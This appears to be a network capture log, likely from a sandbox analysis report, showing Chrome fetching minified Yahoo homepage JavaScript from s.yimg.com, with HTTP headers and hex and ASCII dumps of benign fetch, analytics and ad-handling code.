2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6e 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 63 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 2c 6e 3d 41 72 72 61 79 28 65 2e 6c 65 6e 67 74 68 29 3b 74 3c 65 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 6e 5b 74 5d 3d 65 5b 74 5d 3b 72 65 74 75 72 6e 20 6e 7d 72 65 74 75 72 6e 20 41 72 72 61 79 2e 66 72 6f 6d 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b 72 65 74 75 72 6e 20 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 3f 65 3a 41 72 72 61 79 2e 66 72 6f 6d 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 Data Ascii: le:!0,writable:!0}):e[t]=n,e}function c(e){if(Array.isArray(e)){for(var t=0,n=Array(e.length);t<e.length;t++)n[t]=e[t];return n}return Array.from(e)}function u(e){return Array.isArray(e)?e:Array.from(e)}function l(e,t){if(!(e instanceof t))throw new TypeE
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 20 45 7d 29 2c 6e 2e 64 28 6d 2c 22 70 65 72 66 6f 72 6d 61 6e 63 65 4d 61 72 6b 53 75 70 70 6f 72 74 65 64 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 54 7d 29 2c 6e 2e 64 28 6d 2c 22 69 73 54 6f 75 63 68 53 61 66 61 72 69 44 65 76 69 63 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6b 7d 29 2c 6e 2e 64 28 6d 2c 22 73 6d 6f 6f 74 68 53 63 72 6f 6c 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 43 7d 29 2c 6e 2e 64 28 6d 2c 22 69 73 50 57 41 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 53 7d 29 3b 76 61 72 20 79 3d 7b 7d 3b 6e 2e 64 28 79 2c 22 69 73 56 69 73 69 62 6c 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 47 7d 29 2c 6e 2e 64 28 79 2c 22 64 65 62 6f 75 6e 63 65 22 2c Data Ascii: E}),n.d(m,"performanceMarkSupported",function(){return T}),n.d(m,"isTouchSafariDevice",function(){return k}),n.d(m,"smoothScroll",function(){return C}),n.d(m,"isPWA",function(){return S});var y={};n.d(y,"isVisible",function(){return G}),n.d(y,"debounce",
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 72 61 6d 65 74 65 72 56 61 6c 75 65 42 79 4e 61 6d 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 65 7d 29 2c 6e 2e 64 28 79 2c 22 73 65 74 54 72 61 6e 73 69 74 69 6f 6e 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 45 65 7d 29 2c 6e 2e 64 28 79 2c 22 72 65 6d 6f 76 65 54 72 61 6e 73 69 74 69 6f 6e 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 54 65 7d 29 2c 6e 2e 64 28 79 2c 22 75 72 6c 69 66 79 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6b 65 7d 29 2c 6e 2e 64 28 79 2c 22 66 65 74 63 68 57 69 74 68 43 61 63 68 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 43 65 7d 29 2c 6e 2e 64 28 79 2c 22 72 65 6d 6f 76 65 43 6f 6f 6b 69 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 Data Ascii: rameterValueByName",function(){return _e}),n.d(y,"setTransition",function(){return Ee}),n.d(y,"removeTransition",function(){return Te}),n.d(y,"urlify",function(){return ke}),n.d(y,"fetchWithCache",function(){return Ce}),n.d(y,"removeCookie",function(){ret
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 70 72 6f 74 6f 74 79 70 65 7d 28 29 2c 45 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 76 6f 69 64 20 30 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 76 6f 69 64 20 30 21 3d 3d 65 29 72 65 74 75 72 6e 20 74 28 65 29 3b 76 61 72 20 6e 3d 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6e 6e 65 63 74 69 6f 6e 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 6d 6f 7a 43 6f 6e 6e 65 63 74 69 6f 6e 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 77 65 62 6b 69 74 43 6f 6e 6e 65 63 74 69 6f 6e 3b 69 66 28 6e 29 7b 76 61 72 20 72 3d 6e 2e 65 66 66 65 63 74 69 76 65 54 79 70 65 3b 69 66 28 22 73 6c 6f 77 2d 32 67 22 3d 3d 3d 72 7c 7c 22 32 67 22 3d 3d 3d 72 29 72 65 74 75 72 6e 20 65 3d 21 30 2c 74 28 21 30 29 2c 21 30 7d 69 66 28 Data Ascii: prototype}(),E=function(){var e=void 0;return new Promise(function(t){if(void 0!==e)return t(e);var n=navigator.connection\|\|navigator.mozConnection\|\|navigator.webkitConnection;if(n){var r=n.effectiveType;if("slow-2g"===r\|\|"2g"===r)return e=!0,t(!0),!0}if(
2024-01-10 23:27:10 UTC	1035	IN	Data Raw: 75 72 6e 20 65 7d 2c 41 3d 5b 22 72 69 64 22 2c 22 63 72 75 6d 62 22 2c 22 73 75 62 73 63 72 75 6d 62 22 5d 2c 78 3d 7b 6f 6d 69 74 3a 31 2c 22 73 61 6d 65 2d 6f 72 69 67 69 6e 22 3a 31 2c 69 6e 63 6c 75 64 65 3a 31 7d 2c 4c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 22 22 2c 74 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3b 72 65 74 75 72 6e 20 65 2e 72 65 70 6c 61 63 65 28 6e 65 77 20 52 65 67 45 78 70 28 22 5b 3f 26 5d 22 2b 74 2b 22 3d 5b 5e 26 23 5d 2a 28 23 2e 2a 29 3f 24 22 29 2c 22 24 31 22 29 2e 72 65 70 6c 61 63 65 28 6e 65 77 20 52 65 67 45 78 70 28 22 28 5b 3f 26 5d 29 22 2b Data Ascii: urn e},A=["rid","crumb","subscrumb"],x={omit:1,"same-origin":1,include:1},L=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",t=arguments[1];return e.replace(new RegExp("[?&]"+t+"=[^&#](#.)?$"),"$1").replace(new RegExp("([?&])"+
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 69 64 20 30 2c 54 3d 76 6f 69 64 20 30 2c 43 3d 21 31 3b 69 66 28 6e 29 74 72 79 7b 6e 3d 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 4a 53 4f 4e 2e 70 61 72 73 65 28 6e 29 29 2c 79 3d 22 47 45 54 22 3d 3d 3d 79 3f 22 50 4f 53 54 22 3a 79 2c 6d 3d 21 31 7d 63 61 74 63 68 28 65 29 7b 6e 3d 7b 7d 7d 76 61 72 20 53 3d 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 44 61 74 65 2e 6e 6f 77 28 29 3b 69 66 28 70 3d 21 30 2c 5f 29 72 65 74 75 72 6e 20 76 6f 69 64 20 74 28 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 5f 2c 7b 5f 66 65 74 63 68 4d 65 74 61 3a 7b 64 75 72 61 74 69 6f 6e 3a 65 2d 61 2c 73 6f 75 72 63 65 3a 22 43 41 43 48 45 5f 49 53 5f 53 54 41 4c 45 22 7d 7d 29 29 3b 72 28 6e 65 77 20 45 72 72 6f 72 28 22 Data Ascii: id 0,T=void 0,C=!1;if(n)try{n=JSON.stringify(JSON.parse(n)),y="GET"===y?"POST":y,m=!1}catch(e){n={}}var S=setTimeout(function(){var e=Date.now();if(p=!0,_)return void t(Object.assign({},_,{_fetchMeta:{duration:e-a,source:"CACHE_IS_STALE"}}));r(new Error("
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 2c 66 65 74 63 68 28 66 2c 50 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 53 29 2c 21 70 29 7b 76 61 72 20 6e 3d 65 2e 73 74 61 74 75 73 3b 69 66 28 6e 3e 3d 32 30 30 26 26 6e 3c 3d 32 39 39 26 26 28 22 50 55 54 22 3d 3d 3d 79 7c 7c 22 44 45 4c 45 54 45 22 3d 3d 3d 79 29 29 7b 76 61 72 20 72 3d 7b 64 75 72 61 74 69 6f 6e 3a 44 61 74 65 2e 6e 6f 77 28 29 2d 61 2c 73 6f 75 72 63 65 3a 22 4e 45 54 57 4f 52 4b 5f 57 49 54 48 4f 55 54 5f 43 41 43 48 45 22 7d 3b 72 65 74 75 72 6e 20 76 6f 69 64 20 65 2e 6a 73 6f 6e 28 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 28 4f 28 7b 7d 2c 65 2c 7b 5f 66 65 74 63 68 4d 65 74 61 3a 72 7d 29 29 7d 29 2e 63 61 74 63 68 28 66 75 6e 63 74 69 6f 6e 28 Data Ascii: ,fetch(f,P).then(function(e){if(clearTimeout(S),!p){var n=e.status;if(n>=200&&n<=299&&("PUT"===y\|\|"DELETE"===y)){var r={duration:Date.now()-a,source:"NETWORK_WITHOUT_CACHE"};return void e.json().then(function(e){t(O({},e,{_fetchMeta:r}))}).catch(function(
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 77 61 66 65 72 2e 64 62 2e 67 65 74 28 6f 2c 22 66 65 74 63 68 22 2c 7b 74 69 6d 65 6f 75 74 3a 45 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 69 66 28 21 6e 29 72 65 74 75 72 6e 20 76 6f 69 64 20 72 28 65 29 3b 76 61 72 20 69 3d 6e 2e 74 74 6c 2c 6f 3d 6e 2e 76 61 6c 75 65 2c 73 3d 6e 2e 63 61 63 68 65 64 54 69 6d 65 2c 63 3d 28 44 61 74 65 2e 6e 6f 77 28 29 2d 73 29 2f 31 65 33 3b 74 72 79 7b 5f 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 6f 29 7d 63 61 74 63 68 28 65 29 7b 7d 74 28 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 5f 2c 7b 5f 66 65 74 63 68 4d 65 74 61 3a 7b 64 75 72 61 74 69 6f 6e 3a 44 61 74 65 2e 6e 6f 77 28 29 2d 61 2c 73 6f 75 72 63 65 3a 63 3c 69 3f 22 43 41 43 48 45 5f 53 45 43 4f 4e 44 5f 41 54 54 45 4d 50 54 22 3a 22 Data Ascii: wafer.db.get(o,"fetch",{timeout:E}).then(function(n){if(!n)return void r(e);var i=n.ttl,o=n.value,s=n.cachedTime,c=(Date.now()-s)/1e3;try{_=JSON.parse(o)}catch(e){}t(Object.assign({},_,{_fetchMeta:{duration:Date.now()-a,source:c<i?"CACHE_SECOND_ATTEMPT":"
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 29 7d 29 2c 74 7d 2c 7a 3d 74 68 69 73 2c 42 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 6e 65 77 20 4d 61 70 3b 72 65 74 75 72 6e 7b 73 65 74 54 69 6d 65 6f 75 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 2c 6e 2c 72 29 7b 72 65 74 75 72 6e 20 65 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 72 65 74 75 72 6e 20 74 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 2e 74 6f 53 74 72 69 6e 67 28 29 7d 2c 74 7d 28 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 72 29 7b 76 61 72 20 69 3d 72 7c 7c 7a 3b 69 66 28 21 69 29 72 65 74 75 72 6e 20 73 65 74 54 69 6d 65 6f 75 74 28 74 2c 6e 29 3b 65 2e 68 61 73 28 69 29 7c 7c 65 2e 73 65 74 28 69 2c 6e 65 77 20 4d 61 70 29 Data Ascii: )}),t},z=this,B=function(){var e=new Map;return{setTimeout:function(e){function t(t,n,r){return e.apply(this,arguments)}return t.toString=function(){return e.toString()},t}(function(t,n,r){var i=r\|\|z;if(!i)return setTimeout(t,n);e.has(i)\|\|e.set(i,new Map)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49821	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:09 UTC	546	OUT	GET /cx/hp-viewer/desktop_1.11.160.modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:10 UTC	814	IN	HTTP/1.1 200 OK x-amz-id-2: P4MWSI5dYMmqs4ftUmmDGIwXhkR6KzcpipDYLcz/8oGfgA1GGFIwGh4A0btoQ6uzVL4ddSGHotQuBAekLhiD2Q== x-amz-request-id: ET29X6QJ1AXK650Q Date: Mon, 08 Jan 2024 14:30:38 GMT Last-Modified: Wed, 03 Jan 2024 17:15:50 GMT ETag: "78613b544f6524f9ee7d60a1f0094e3d" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 61886 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 204993 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 63 6f 6e 73 74 20 65 3d 5b 22 66 69 6e 61 6e 63 65 2e 79 61 68 6f 6f 2e 63 6f 6d 22 2c 22 6e 65 77 73 2e 79 61 68 6f 6f 2e 63 6f 6d 22 2c 22 73 70 6f 72 74 73 2e 79 61 68 6f 6f 2e 63 6f 6d 22 5d 2c 74 3d 6e 65 77 20 52 65 67 45 78 70 28 2f 72 73 3d 22 28 5b 5e 22 5d 2a 29 22 2f 29 2c 69 3d 7b 6c 6d 73 69 64 3a 22 6c 6d 73 69 64 22 2c 6c 70 73 74 61 69 64 3a 22 6c 70 73 74 61 69 64 22 2c 6c 75 3a 22 6c 75 22 2c 70 63 74 3a 22 70 61 67 65 43 6f 6e 74 65 6e 74 54 79 70 65 22 2c 70 64 3a 22 70 61 67 65 44 65 73 69 67 6e 22 2c 70 6c 3a 22 70 6c 22 2c 70 74 3a 22 70 61 67 65 54 79 70 65 22 2c 72 65 76 73 70 3a 22 72 65 76 73 70 22 2c 76 65 72 3a 22 61 70 70 4e 61 6d 65 22 7d 2c 73 3d 5b Data Ascii: !function(){"use strict";const e=["finance.yahoo.com","news.yahoo.com","sports.yahoo.com"],t=new RegExp(/rs="([^"]*)"/),i={lmsid:"lmsid",lpstaid:"lpstaid",lu:"lu",pct:"pageContentType",pd:"pageDesign",pl:"pl",pt:"pageType",revsp:"revsp",ver:"appName"},s=[
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 28 28 74 3d 3e 74 3d 3d 3d 65 29 29 2b 31 7d 2c 6d 3d 28 29 3d 3e 77 69 6e 64 6f 77 2e 76 7a 6d 3f 2e 67 65 74 50 61 67 65 43 6f 6e 74 65 78 74 3f 2e 28 29 7c 7c 77 69 6e 64 6f 77 2e 59 41 48 4f 4f 3f 2e 63 6f 6e 74 65 78 74 2c 75 3d 28 29 3d 3e 7b 63 6f 6e 73 74 20 65 3d 6d 28 29 3b 72 65 74 75 72 6e 20 53 74 72 69 6e 67 28 65 3f 2e 62 75 63 6b 65 74 7c 7c 65 3f 2e 62 75 63 6b 65 74 49 64 7c 7c 22 22 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 66 28 65 29 7b 63 6f 6e 73 74 20 74 3d 5b 5d 3b 66 6f 72 28 63 6f 6e 73 74 20 69 20 69 6e 20 65 29 69 66 28 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 69 29 29 7b 63 6f 6e 73 74 20 73 3d 65 5b 69 5d 3b 76 6f 69 64 20 30 21 3d 3d 73 26 26 74 2e 70 75 73 68 28 60 24 7b 69 7d 3d 24 7b 73 7d 60 29 7d 72 65 74 75 72 6e Data Ascii: ((t=>t===e))+1},m=()=>window.vzm?.getPageContext?.()\|\|window.YAHOO?.context,u=()=>{const e=m();return String(e?.bucket\|\|e?.bucketId\|\|"")};function f(e){const t=[];for(const i in e)if(e.hasOwnProperty(i)){const s=e[i];void 0!==s&&t.push(`${i}=${s}`)}return
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 61 74 65 49 31 33 4e 29 7b 63 6f 6e 73 74 7b 61 64 4d 65 74 61 3a 69 2c 73 70 61 63 65 49 64 3a 73 2c 68 6f 6d 65 70 61 67 65 55 72 6c 3a 6f 7d 3d 65 2e 6d 65 74 61 2e 64 61 74 61 2c 61 3d 7b 7d 2c 72 3d 22 66 72 6f 6e 74 70 61 67 65 22 3d 3d 3d 74 7c 7c 22 66 70 22 3d 3d 3d 74 3b 61 2e 73 70 61 63 65 69 64 3d 69 2e 73 70 61 63 65 69 64 7c 7c 73 7c 7c 22 22 2c 69 2e 68 61 73 68 74 61 67 26 26 28 61 2e 68 61 73 68 74 61 67 3d 69 2e 68 61 73 68 74 61 67 2e 73 70 6c 69 74 28 22 3b 22 29 29 2c 72 26 26 69 2e 73 69 74 65 26 26 28 61 2e 73 69 74 65 3d 69 2e 73 69 74 65 29 2c 61 2e 75 72 6c 3d 6f 7c 7c 22 22 3b 28 69 2e 72 73 26 26 69 2e 72 73 2e 73 70 6c 69 74 28 22 3b 22 29 7c 7c 5b 5d 29 2e 66 6f 72 45 61 63 68 28 28 65 3d 3e 7b 63 6f 6e 73 74 20 74 3d 65 2e Data Ascii: ateI13N){const{adMeta:i,spaceId:s,homepageUrl:o}=e.meta.data,a={},r="frontpage"===t\|\|"fp"===t;a.spaceid=i.spaceid\|\|s\|\|"",i.hashtag&&(a.hashtag=i.hashtag.split(";")),r&&i.site&&(a.site=i.site),a.url=o\|\|"";(i.rs&&i.rs.split(";")\|\|[]).forEach((e=>{const t=e.
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 77 6e 50 72 6f 70 65 72 74 79 28 22 63 6f 6e 74 72 6f 6c 73 22 29 2c 6a 3d 65 3d 3e 57 28 65 29 3f 65 2e 63 6f 6e 74 72 6f 6c 73 2e 69 73 50 6c 61 79 69 6e 67 28 29 3a 65 2e 69 73 50 6c 61 79 69 6e 67 28 29 2c 59 3d 65 3d 3e 57 28 65 29 3f 65 2e 63 6f 6e 74 72 6f 6c 73 2e 70 61 75 73 65 28 29 3a 65 2e 70 61 75 73 65 28 29 2c 7a 3d 65 3d 3e 57 28 65 29 3f 65 2e 63 6f 6e 74 72 6f 6c 73 2e 70 6c 61 79 28 29 3a 65 2e 70 6c 61 79 28 29 3b 63 6f 6e 73 74 7b 62 6f 64 79 3a 4a 7d 3d 64 6f 63 75 6d 65 6e 74 2c 71 3d 22 76 69 65 77 65 72 2d 70 72 65 73 65 6e 74 61 74 69 6f 6e 2d 70 72 65 73 74 69 67 65 22 3b 63 6f 6e 73 74 20 47 3d 5b 6e 65 77 20 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 29 7b 74 68 69 73 2e 61 72 74 69 63 6c 65 55 72 6c 3d 22 22 2c Data Ascii: wnProperty("controls"),j=e=>W(e)?e.controls.isPlaying():e.isPlaying(),Y=e=>W(e)?e.controls.pause():e.pause(),z=e=>W(e)?e.controls.play():e.play();const{body:J}=document,q="viewer-presentation-prestige";const G=[new class{constructor(e){this.articleUrl="",
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 74 79 70 65 3a 22 63 6c 69 65 6e 74 22 7d 2c 6e 3d 7b 65 6c 6d 3a 22 62 61 63 6b 62 74 6e 22 2c 65 6c 6d 74 3a 22 63 6c 22 2c 69 74 63 3a 30 2c 72 73 70 6e 73 3a 22 63 6c 22 2c 74 61 72 3a 77 28 74 68 69 73 2e 68 6f 6d 65 55 72 6c 29 2c 74 61 72 5f 75 72 69 3a 22 2f 22 2c 2e 2e 2e 74 7c 7c 7b 7d 7d 2c 6f 3d 6e 2e 73 6c 6b 3b 6c 65 74 20 61 3b 6f 3f 61 3d 6f 3a 28 61 3d 22 64 65 73 6b 74 6f 70 22 3d 3d 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2e 64 65 76 69 63 65 3f 22 61 72 74 69 63 6c 65 2d 6d 6f 64 61 6c 2d 63 6c 6f 73 65 22 3a 22 63 6c 6f 73 65 2d 62 61 63 6b 2d 62 74 6e 22 2c 22 62 61 63 6b 22 3d 3d 3d 65 26 26 22 64 65 73 6b 74 6f 70 22 3d 3d 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2e 64 65 76 69 63 65 26 26 28 61 3d 22 62 72 6f 77 73 65 72 2d 63 6c 6f 73 65 Data Ascii: type:"client"},n={elm:"backbtn",elmt:"cl",itc:0,rspns:"cl",tar:w(this.homeUrl),tar_uri:"/",...t\|\|{}},o=n.slk;let a;o?a=o:(a="desktop"===this.config.device?"article-modal-close":"close-back-btn","back"===e&&"desktop"===this.config.device&&(a="browser-close
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 63 6c 65 55 72 6c 3d 21 79 26 26 77 7c 7c 64 7c 7c 66 7c 7c 6e 3b 63 6f 6e 73 74 20 62 3d 7b 5f 52 3a 74 68 69 73 2e 72 65 66 65 72 65 72 55 72 6c 7c 7c 74 68 69 73 2e 68 6f 6d 65 55 72 6c 2c 5f 77 3a 74 68 69 73 2e 61 72 74 69 63 6c 65 55 72 6c 2c 6e 61 76 74 79 70 65 3a 22 63 6c 69 65 6e 74 22 2c 70 5f 63 70 6f 73 3a 70 28 65 2e 65 6c 65 6d 29 2c 70 5f 68 6f 73 74 65 64 3a 79 3f 22 6f 6e 6e 65 74 22 3a 22 6f 66 66 6e 65 74 22 2c 70 63 70 3a 6d 2c 70 63 74 3a 5f 5b 6f 5d 7c 7c 6f 2c 70 64 3a 41 2c 70 72 65 66 63 6e 74 3a 74 68 69 73 2e 63 6c 75 73 74 65 72 53 69 7a 65 2b 31 2c 70 73 74 61 69 64 3a 67 2c 70 74 3a 22 63 6f 6e 74 65 6e 74 22 2c 72 73 70 6e 73 3a 22 6e 61 76 22 2c 73 69 74 65 3a 73 3f 2e 73 69 74 65 7c 7c 74 68 69 73 2e 6b 65 79 73 2e 73 69 Data Ascii: cleUrl=!y&&w\|\|d\|\|f\|\|n;const b={_R:this.refererUrl\|\|this.homeUrl,_w:this.articleUrl,navtype:"client",p_cpos:p(e.elem),p_hosted:y?"onnet":"offnet",pcp:m,pct:_[o]\|\|o,pd:A,prefcnt:this.clusterSize+1,pstaid:g,pt:"content",rspns:"nav",site:s?.site\|\|this.keys.si
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 4d 6f 64 75 6c 65 50 72 6f 67 72 65 73 73 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 72 61 70 69 64 49 6e 73 74 61 6e 63 65 26 26 74 68 69 73 2e 6d 6f 64 75 6c 65 50 72 6f 67 72 65 73 73 69 6f 6e 45 6c 6d 49 64 26 26 28 77 69 6e 64 6f 77 2e 72 61 70 69 64 49 6e 73 74 61 6e 63 65 2e 65 6e 64 4d 6f 64 75 6c 65 50 72 6f 67 72 65 73 73 69 6f 6e 3f 2e 28 74 68 69 73 2e 6d 6f 64 75 6c 65 50 72 6f 67 72 65 73 73 69 6f 6e 45 6c 6d 49 64 29 2c 74 68 69 73 2e 6d 6f 64 75 6c 65 50 72 6f 67 72 65 73 73 69 6f 6e 45 6c 6d 49 64 3d 22 22 29 7d 6f 6e 53 6c 69 64 65 73 68 6f 77 43 6c 69 63 6b 28 65 29 7b 69 66 28 21 77 69 6e 64 6f 77 2e 72 61 70 69 64 49 6e 73 74 61 6e 63 65 29 72 65 74 75 72 6e 3b 63 6f 6e 73 74 7b 70 6f 73 3a 74 2c 79 6c 6b 3a 69 7d 3d 65 2e 70 61 79 6c 6f Data Ascii: ModuleProgression(){window.rapidInstance&&this.moduleProgressionElmId&&(window.rapidInstance.endModuleProgression?.(this.moduleProgressionElmId),this.moduleProgressionElmId="")}onSlideshowClick(e){if(!window.rapidInstance)return;const{pos:t,ylk:i}=e.paylo
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 43 6f 6e 74 65 78 74 50 61 72 61 6d 73 7c 7c 21 31 2c 74 68 69 73 2e 65 6e 61 62 6c 65 59 69 65 6c 64 41 64 73 3d 65 3f 2e 65 6e 61 62 6c 65 59 69 65 6c 64 41 64 73 7c 7c 74 68 69 73 2e 63 6f 6e 66 69 67 3f 2e 65 6e 61 62 6c 65 59 69 65 6c 64 41 64 73 3b 63 6f 6e 73 74 20 73 3d 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 73 64 61 4c 69 74 65 22 29 7c 7c 21 31 3b 74 68 69 73 2e 65 6e 61 62 6c 65 47 41 4d 41 64 73 3d 28 65 3f 2e 65 6e 61 62 6c 65 47 41 4d 41 64 73 7c 7c 74 68 69 73 2e 63 6f 6e 66 69 67 3f 2e 65 6e 61 62 6c 65 47 41 4d 41 64 73 29 26 26 21 73 2c 69 2e 6f 6e 28 22 63 61 61 73 3a 61 72 74 69 63 6c 65 3a 69 6e 69 74 22 2c 74 68 69 73 2e 64 69 73 70 6c 61 Data Ascii: ContextParams\|\|!1,this.enableYieldAds=e?.enableYieldAds\|\|this.config?.enableYieldAds;const s=document.documentElement.classList.contains("sdaLite")\|\|!1;this.enableGAMAds=(e?.enableGAMAds\|\|this.config?.enableGAMAds)&&!s,i.on("caas:article:init",this.displa
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 74 2e 66 69 6c 74 65 72 28 28 74 3d 3e 65 2e 76 69 65 77 65 72 50 6f 73 69 74 69 6f 6e 4d 65 74 61 3f 2e 65 6e 61 62 6c 65 55 42 41 4d 4f 4e 3f 21 28 74 2e 69 64 2e 73 74 61 72 74 73 57 69 74 68 28 22 49 4e 41 52 54 49 43 4c 45 22 29 7c 7c 74 2e 69 64 2e 73 74 61 72 74 73 57 69 74 68 28 22 4d 41 53 54 22 29 7c 7c 74 2e 69 64 2e 73 74 61 72 74 73 57 69 74 68 28 22 46 53 52 56 59 22 29 7c 7c 74 2e 69 64 2e 73 74 61 72 74 73 57 69 74 68 28 22 4c 52 45 43 34 22 29 29 3a 21 28 74 2e 69 64 2e 73 74 61 72 74 73 57 69 74 68 28 22 49 4e 41 52 54 49 43 4c 45 22 29 7c 7c 74 2e 69 64 2e 73 74 61 72 74 73 57 69 74 68 28 22 4d 41 53 54 22 29 7c 7c 74 2e 69 64 2e 73 74 61 72 74 73 57 69 74 68 28 22 4d 4f 4e 22 29 7c 7c 74 2e 69 64 2e 73 74 61 72 74 73 57 69 74 68 28 22 Data Ascii: t.filter((t=>e.viewerPositionMeta?.enableUBAMON?!(t.id.startsWith("INARTICLE")\|\|t.id.startsWith("MAST")\|\|t.id.startsWith("FSRVY")\|\|t.id.startsWith("LREC4")):!(t.id.startsWith("INARTICLE")\|\|t.id.startsWith("MAST")\|\|t.id.startsWith("MON")\|\|t.id.startsWith("
